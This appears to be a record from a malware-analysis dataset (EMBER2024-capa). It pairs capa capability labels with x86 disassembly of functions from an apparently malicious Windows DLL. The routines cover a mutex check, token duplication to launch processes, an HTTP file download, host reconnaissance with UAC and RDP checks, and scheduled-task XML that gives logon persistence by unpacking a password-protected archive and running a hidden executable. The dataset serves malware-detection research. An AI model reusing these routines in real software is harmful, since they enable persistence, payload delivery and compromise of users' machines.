joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100050af
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x34]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and byte [ebp - 0x138], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x137]
and byte [ebp - 0xd], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movzx eax, word [ebp - 0x2a]
push eax
mov byte [ebp - 0x24], 0x25
movzx eax, word [ebp - 0x2c]
push eax
mov byte [ebp - 0x23], 0x34
movzx eax, word [ebp - 0x2e]
push eax
mov byte [ebp - 0x22], 0x64
movzx eax, word [ebp - 0x32]
push eax
mov byte [ebp - 0x21], 0x2d
movzx eax, word [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x138]
push eax
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x20
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x64
call dword [sym.imp.USER32.dll_wsprintfA]
and byte [ebp - 4], 0
add esp, 0x1c
lea eax, [ebp - 0x138]
mov byte [ebp - 0xc], 0x4d
push 0
push eax
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
push str.Console
push closesocket
call fcn.100091d4
add esp, 0x1c
pop edi
leave
ret

Function at 0x10005826
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
xor esi, esi
push str.LJPXYXC
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10005851
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005897
push esi
push esi
push esi
push esi
push 0x100055ab
push esi
push esi
call fcn.10008acb
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
push 0x10005215
push esi
push esi
call fcn.10008acb
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [0x10049a94]
push esi
call dword [0x10049a84]
push 1
pop eax
pop edi
pop esi
ret
Function at 0x1000589a
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.userenv.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CreateEnvironmentBlock
push eax
mov dword [ebp - 0x14], eax
call ebx
mov dword [ebp - 0x18], eax
xor esi, esi
push 0x44
lea eax, [ebp - 0x6c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.10009c20
push 0x10
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.10009c20
add esp, 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x6c], 0x44
mov dword [ebp - 0x64], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push str.WTSGetActiveConsoleSessionId
push str.Kernel32.dll
call edi
push eax
call ebx
cmp eax, esi
je 0x1000599e
call eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push esi
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
call dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x10]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x28]
call edi
push dword [ebp - 8]
call edi
jmp 0x100059a0
xor ebx, ebx
cmp dword [ebp - 0x14], esi
je 0x100059ae
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x10005ba9
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
push esi
push edi
mov esi, 0x104
xor edi, edi
push esi
lea eax, [ebp - 0x160]
push edi
push eax
mov dword [ebp - 8], esi
call fcn.10009c20
push 0x2e
push dword [ebp + 8]
call fcn.1000a050
add esp, 0x14
cmp eax, edi
je 0x10005c6e
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push edi
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005c6e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
call edi
push dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push 0x1f4
lea eax, [ebp - 0x354]
push 0
push eax
call fcn.10009c20
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x354]
push str._s_shellopencommand
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0x354]
push 0
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005c75
xor al, al
jmp 0x10005d35
push esi
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.10009c20
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
xor esi, esi
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x160]
push 0x1002872c
push eax
call fcn.1000a7b0
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cf2
lea eax, [ebp - 0x160]
push 0x10028728
push eax
call fcn.1000a7b0
pop ecx
cmp eax, esi
pop ecx
jne 0x10005cf2
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x160]
push 0x10028724
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x160]
push eax
call edi
jmp 0x10005cfc
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10005d19
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005dee
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10005e5f
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005e56
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.10009fc0
pop ecx
test eax, eax
pop ecx
jne 0x10005e20
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10006141
Capabilities:
Connect to http server
Copy file
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2918
call fcn.10009c80
push ebx
push esi
push edi
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push 0x100447f4
push eax
call fcn.1000a0fb
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebx, ebx
push str.wininet.dll
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
mov dword [ebp - 8], edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.MSIE_6.0
call eax
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x100061de
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push str.InternetOpenUrlA
push edi
call esi
push ebx
push closesocket
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x10]
call eax
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x100061f2
cmp edi, ebx
je 0x10006331
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x10006331
push ebx
push ebx
push 2
push ebx
push ebx
lea eax, [ebp - 0x118]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x100062dc
mov edi, 0x2800
push edi
lea eax, [ebp - 0x2918]
push ebx
push eax
call fcn.10009c20
add esp, 0xc
push str.InternetReadFile
push dword [ebp - 8]
call esi
lea ecx, [ebp - 4]
push ecx
lea ecx, [ebp - 0x2918]
push edi
push ecx
push dword [ebp - 0xc]
call eax
lea eax, [ebp - 0x2918]
push 0x100447a0
push eax
call fcn.1000a7b0
pop ecx
test eax, eax
pop ecx
jne 0x1000631b
lea eax, [ebp - 0x2918]
push 0x10044798
push eax
call fcn.1000a7b0
pop ecx
test eax, eax
pop ecx
jne 0x1000631b
lea eax, [ebp - 0x2918]
push 0x10044790
push eax
call fcn.1000a7b0
pop ecx
test eax, eax
pop ecx
jne 0x1000631b
lea eax, [ebp - 0x2918]
push 0x10044788
push eax
call fcn.1000a7b0
pop ecx
test eax, eax
pop ecx
jne 0x1000631b
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x2918]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
ja 0x1000621b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call esi
push dword [ebp - 0xc]
mov esi, eax
call esi
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x10006303
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
lea eax, [ebp - 0x118]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x10006316
Function at 0x10006f39
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x1001fa04
push 1
push esi
push 0x1001fa24
call dword [ebp - 0x18]
test eax, eax
jne 0x10006fc4
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x1001fa14
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10006fcb
xor eax, eax
jmp 0x10007059
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000703c
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x1001e550
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10007031
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10007028
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10006fd4
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x1000704c
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10007056
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007103
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push edi
push dword [ebp + 0x14]
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x427]
mov byte [ebp - 0x428], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push dword [ebp + 0x10]
stosb byte es:[edi], al
call fcn.10009c20
push 0x400
lea eax, [ebp - 0x428]
push ebx
push eax
call fcn.10009c20
lea eax, [ebp - 0x28]
push 0x10043380
push eax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push str.Console
push closesocket
call fcn.10008f64
add esp, 0x44
pop edi
pop ebx
leave
ret

Function at 0x100073ea
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp + 0xc]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007462
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [ebp + 8]
push edi
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
jne 0x10007459
push dword [ebp - 4]
call fcn.10009cf4
mov ebx, dword [ebp + 0x14]
cmp eax, edi
pop ecx
mov dword [ebx], eax
je 0x10007459
lea ecx, [ebp - 4]
push ecx
push eax
push edi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x10007466
push dword [ebx]
call fcn.1000938e
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x10007479
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000747e
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
mov esi, 0x9c
xor edi, edi
push esi
lea eax, [ebp - 0xac]
push edi
push eax
xor ebx, ebx
call fcn.10009c20
add esp, 0xc
lea eax, [ebp - 0xac]
mov dword [ebp - 0xac], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x100075a9
cmp dword [ebp - 0x9c], 2
jne 0x100075a9
cmp dword [ebp - 0xa8], 5
jbe 0x100075a9
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100075a9
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push edi
push edi
push 0x19
push dword [ebp - 8]
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x10007560
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10007560
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x1000755e
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
je 0x10007557
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x100075a9
cmp ebx, 0x1000
je 0x100075a2
cmp ebx, 0x2000
je 0x1000759b
cmp ebx, 0x3000
je 0x10007594
cmp ebx, 0x4000
jne 0x100075b7
push 0x10044be0
jmp 0x100075ae
push 0x10044bdc
jmp 0x100075ae
push 0x10044bd8
jmp 0x100075ae
push 0x10044bd4
jmp 0x100075ae
push 0x10044bcc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 0x10]
push eax
push str.PromptOnSecureDesktop
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
mov dword [ebp - 0xc], edi
call fcn.100073ea
add esp, 0x14
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
jbe 0x100075f3
mov eax, dword [ebp - 0x10]
cmp byte [eax], 1
jne 0x100075f3
push str._uac
jmp 0x100075f8
push str._UAC
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
pop eax
leave
ret
Function at 0x10007606
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push esi
push edi
push 0x10043380
lea eax, [ebp - 0x3b8]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2b4], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
xor edi, edi
push 0x20
lea eax, [ebp - 0x28c]
push edi
push eax
call fcn.10009c20
add esp, 0x18
lea eax, [ebp - 0x2b3]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2b3]
push edi
push eax
push 1
push str.Groupfenzhu
push str.Console
push closesocket
call fcn.10008f64
add esp, 0x20
cmp eax, 1
jge 0x1000768b
lea eax, [ebp - 0x2b3]
push 0x1004347a
push eax
call fcn.10009e90
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x1c]
pop esi
push esi
push edi
push eax
call fcn.10009c20
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 0x48]
call dword [0x10049b6c]
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.100093a0
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x28c]
push 0x32
push eax
call fcn.100070b8
add esp, 0x18
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.100073a2
call fcn.10007212
test eax, eax
setne al
mov byte [ebp - 0x164], al
lea eax, [ebp - 0x180]
push eax
call fcn.1000705e
lea eax, [ebp - 0x102]
push eax
call fcn.1000747e
call fcn.10007334
push eax
lea eax, [ebp - 0x12a]
push eax
call fcn.10009e80
add esp, 0x1c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xc], 8
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x2bf20
jbe 0x1000777c
mov dword [ebp - 0xe0], 1
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
push 0x14
pop ecx
call fcn.1000ae30
mov dword [ebp - 0x160], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x16c], eax
call fcn.10006f39
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x25a]
push str._8.18
push eax
call fcn.10009e80
lea eax, [ebp - 0xdc]
push 0x80
push eax
push str.RDP_Tcp
call fcn.100072b9
lea eax, [ebp - 0x15c]
push 0x32
push eax
lea eax, [ebp - 0x4b8]
push eax
call fcn.10007252
add esp, 0x20
lea eax, [ebp - 0x2b4]
mov ecx, esi
push 0x258
push eax
call fcn.1000184e
pop edi
pop esi
leave
ret
Function at 0x1000785f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xee2
push str.__xml_version_1.0__encoding_UTF_16____r_n_Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___r_n___RegistrationInfo__r_n_____Date_2022_10_24T03:31:27__Date__r_n_____Author_Administrator__Author__r_n____RegistrationInfo__r_n___Triggers__r_n_____LogonTrigger__r_n_______StartBoundary_2022_10_24T03:31:00__StartBoundary__r_n_______Enabled_true__Enabled__r_n______LogonTrigger__r_n____Triggers__r_n___Principals__r_n_____Principal_id_Author___r_n_______UserId_Administrator__UserId__r_n_______LogonType_InteractiveToken__LogonType__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Settings__r_n_____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__r_n_____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__r_n_____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__r_n_____AllowHardTerminate_false__AllowHardTerminate__r_n_____StartWhenAvailable_false__StartWhenAvailable__r_n_____RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable__r_n_____IdleSettings__r_n_______StopOnIdleEnd_true__StopOnIdleEnd__r_n_______RestartOnIdle_false__RestartOnIdle__r_n______IdleSettings__r_n_____AllowStartOnDemand_true__AllowStartOnDemand__r_n_____Enabled_true__Enabled__r_n_____Hidden_false__Hidden__r_n_____RunOnlyIfIdle_false__RunOnlyIfIdle__r_n_____WakeToRun_false__WakeToRun__r_n_____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__r_n_____Priority_7__Priority__r_n_____RestartOnFailure__r_n_______Interval_PT1M__Interval__r_n_______Count_3__Count__r_n______RestartOnFailure__r_n____Settings__r_n___Actions_Context_Author___r_n_____Exec__r_n_______Command_C:ProgramDataDataun.exe__Command__r_n_______Arguments_x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.exe_C:ProgramDataProgram__st__Arguments__r_n______Exec__r_n_____Exec__r_n_______Command_C:ProgramDataProgramiusb3mon.exe__Command__r_n_______WorkingDirectory_C:ProgramDataProgram__WorkingDirectory__r_n______Exec__r_n____Actions__r_n__Task_
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10007899
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x100078a6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0x16000
push 0x10029ffc
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100078e0
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret